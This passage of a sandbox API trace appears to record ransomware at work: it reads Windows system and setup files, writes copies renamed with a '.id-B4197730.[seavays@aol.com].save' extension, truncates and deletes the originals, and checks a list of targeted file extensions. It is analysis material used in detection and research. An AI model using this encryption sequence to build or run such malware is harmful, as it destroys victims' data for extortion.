(lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.476] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.476] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.477] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.477] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.477] GetLastError () returned 0x0 [0050.477] ReadFile (in: hFile=0x2f4, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0050.493] WriteFile (in: hFile=0x2f8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0050.496] ReadFile (in: hFile=0x2f4, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.497] WriteFile (in: hFile=0x2f8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.497] SetEndOfFile (hFile=0x2f8) returned 1 [0050.497] CloseHandle (hObject=0x2f8) returned 1 [0050.500] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.500] SetEndOfFile (hFile=0x2f4) returned 1 [0050.506] CloseHandle (hObject=0x2f4) returned 1 [0050.506] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0050.506] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0050.506] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.506] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.506] lstrlenW (lpString=".doc") returned 4 [0050.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.507] lstrlenW (lpString=".docx") returned 5 [0050.507] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0050.507] lstrlenW (lpString=".pdf") returned 4 [0050.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.507] lstrlenW (lpString=".xls") returned 4 [0050.507] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.507] lstrlenW (lpString=".xlsx") returned 5 [0050.507] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0050.507] lstrlenW (lpString=".ppt") returned 4 [0050.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.507] lstrlenW (lpString=".zip") returned 4 [0050.507] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.507] lstrlenW (lpString=".rar") returned 4 [0050.507] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.507] lstrlenW (lpString=".bz2") returned 4 [0050.507] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.507] lstrlenW (lpString=".7z") returned 3 [0050.507] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.507] lstrlenW (lpString=".dbf") returned 4 [0050.507] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.507] lstrlenW (lpString=".1cd") returned 4 [0050.507] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.507] lstrlenW (lpString=".jpg") returned 4 [0050.507] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.507] lstrlenW (lpString=".doc") returned 4 [0050.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.508] lstrlenW (lpString=".docx") returned 5 [0050.508] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0050.508] lstrlenW (lpString=".pdf") returned 4 [0050.508] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.508] lstrlenW (lpString=".xls") returned 4 [0050.508] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.508] lstrlenW (lpString=".xlsx") returned 5 [0050.508] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0050.508] lstrlenW (lpString=".ppt") returned 4 [0050.508] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.508] lstrlenW (lpString=".zip") returned 4 [0050.508] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.508] lstrlenW (lpString=".rar") returned 4 [0050.508] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.508] lstrlenW (lpString=".bz2") returned 4 [0050.508] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.508] lstrlenW (lpString=".7z") returned 3 [0050.508] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.508] lstrlenW (lpString=".dbf") returned 4 [0050.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.508] lstrlenW (lpString=".1cd") returned 4 [0050.508] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0050.508] lstrlenW (lpString=".jpg") returned 4 [0050.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.508] lstrcmpiW (lpString1=".cmd", lpString2=".save") returned -1 [0050.509] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0050.509] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.509] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=577) returned 1 [0050.509] CloseHandle (hObject=0x2f4) returned 1 [0050.509] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0050.509] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.509] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.509] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.509] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.509] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.509] GetLastError () returned 0x0 [0050.510] ReadFile (in: hFile=0x2f4, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x241, lpOverlapped=0x0) returned 1 [0050.753] WriteFile (in: hFile=0x2f8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x250, lpOverlapped=0x0) returned 1 [0050.754] ReadFile (in: hFile=0x2f4, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.754] WriteFile (in: hFile=0x2f8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x104, lpOverlapped=0x0) returned 1 [0050.754] SetEndOfFile (hFile=0x2f8) returned 1 [0050.755] CloseHandle (hObject=0x2f8) returned 1 [0050.755] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.755] SetEndOfFile (hFile=0x2f4) returned 1 [0050.756] CloseHandle (hObject=0x2f4) returned 1 [0050.756] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0050.983] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0050.983] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.983] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.983] lstrlenW (lpString=".doc") returned 4 [0050.983] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0050.983] lstrlenW (lpString=".docx") returned 5 [0050.983] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0050.984] lstrlenW (lpString=".pdf") returned 4 [0050.984] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0050.984] lstrlenW (lpString=".xls") returned 4 [0050.984] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0050.984] lstrlenW (lpString=".xlsx") returned 5 [0050.984] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0050.984] lstrlenW (lpString=".ppt") returned 4 [0050.984] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0050.984] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.984] lstrlenW (lpString=".zip") returned 4 [0050.984] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0050.984] lstrlenW (lpString=".rar") returned 4 [0050.984] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0050.984] lstrlenW (lpString=".bz2") returned 4 [0050.984] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0050.984] lstrlenW (lpString=".7z") returned 3 [0050.984] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0050.984] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.984] lstrlenW (lpString=".dbf") returned 4 [0050.984] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0050.984] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.984] lstrlenW (lpString=".1cd") returned 4 [0050.984] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0050.984] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.984] lstrlenW (lpString=".jpg") returned 4 [0050.984] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0050.984] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.984] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.984] lstrlenW (lpString=".doc") returned 4 [0050.984] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0050.984] lstrlenW (lpString=".docx") returned 5 [0050.984] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0050.984] lstrlenW (lpString=".pdf") returned 4 [0050.985] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0050.985] lstrlenW (lpString=".xls") returned 4 [0050.985] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0050.985] lstrlenW (lpString=".xlsx") returned 5 [0050.985] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0050.985] lstrlenW (lpString=".ppt") returned 4 [0050.985] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0050.985] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.985] lstrlenW (lpString=".zip") returned 4 [0050.985] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0050.985] lstrlenW (lpString=".rar") returned 4 [0050.985] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0050.985] lstrlenW (lpString=".bz2") returned 4 [0050.985] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0050.985] lstrlenW (lpString=".7z") returned 3 [0050.985] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0050.985] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.985] lstrlenW (lpString=".dbf") returned 4 [0050.985] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0050.985] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.985] lstrlenW (lpString=".1cd") returned 4 [0050.985] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0050.985] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0050.985] lstrlenW (lpString=".jpg") returned 4 [0050.985] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0050.985] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.985] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0050.986] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=15704) returned 1 [0050.986] CloseHandle (hObject=0x2cc) returned 1 [0050.986] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0050.986] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0050.986] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.986] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.995] GetLastError () returned 0x0 [0050.995] ReadFile (in: hFile=0x2cc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0050.999] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0051.000] ReadFile (in: hFile=0x2cc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.000] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.000] SetEndOfFile (hFile=0x2f0) returned 1 [0051.000] CloseHandle (hObject=0x2f0) returned 1 [0051.001] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.001] SetEndOfFile (hFile=0x2cc) returned 1 [0051.002] CloseHandle (hObject=0x2cc) returned 1 [0051.002] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.002] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0051.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.003] lstrlenW (lpString=".doc") returned 4 [0051.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.003] lstrlenW (lpString=".docx") returned 5 [0051.003] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.003] lstrlenW (lpString=".pdf") returned 4 [0051.003] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.003] lstrlenW (lpString=".xls") returned 4 [0051.003] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.003] lstrlenW (lpString=".xlsx") returned 5 [0051.003] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.003] lstrlenW (lpString=".ppt") returned 4 [0051.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.003] lstrlenW (lpString=".zip") returned 4 [0051.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.003] lstrlenW (lpString=".rar") returned 4 [0051.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.003] lstrlenW (lpString=".bz2") returned 4 [0051.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.003] lstrlenW (lpString=".7z") returned 3 [0051.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.003] lstrlenW (lpString=".dbf") returned 4 [0051.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.003] lstrlenW (lpString=".1cd") returned 4 [0051.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.003] lstrlenW (lpString=".jpg") returned 4 [0051.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.004] lstrlenW (lpString=".doc") returned 4 [0051.004] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.004] lstrlenW (lpString=".docx") returned 5 [0051.004] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.004] lstrlenW (lpString=".pdf") returned 4 [0051.004] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.004] lstrlenW (lpString=".xls") returned 4 [0051.004] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.004] lstrlenW (lpString=".xlsx") returned 5 [0051.004] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.004] lstrlenW (lpString=".ppt") returned 4 [0051.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.004] lstrlenW (lpString=".zip") returned 4 [0051.004] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.004] lstrlenW (lpString=".rar") returned 4 [0051.004] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.004] lstrlenW (lpString=".bz2") returned 4 [0051.004] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.004] lstrlenW (lpString=".7z") returned 3 [0051.004] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.004] lstrlenW (lpString=".dbf") returned 4 [0051.004] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.004] lstrlenW (lpString=".1cd") returned 4 [0051.004] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0051.004] lstrlenW (lpString=".jpg") returned 4 [0051.004] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.005] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.005] lstrlenW (lpString="SetupResources.dll") returned 18 [0051.005] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0051.012] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19288) returned 1 [0051.012] CloseHandle (hObject=0x2fc) returned 1 [0051.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0051.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0051.013] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.013] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.017] GetLastError () returned 0x0 [0051.017] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0051.117] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0051.121] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.121] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.121] SetEndOfFile (hFile=0x2f0) returned 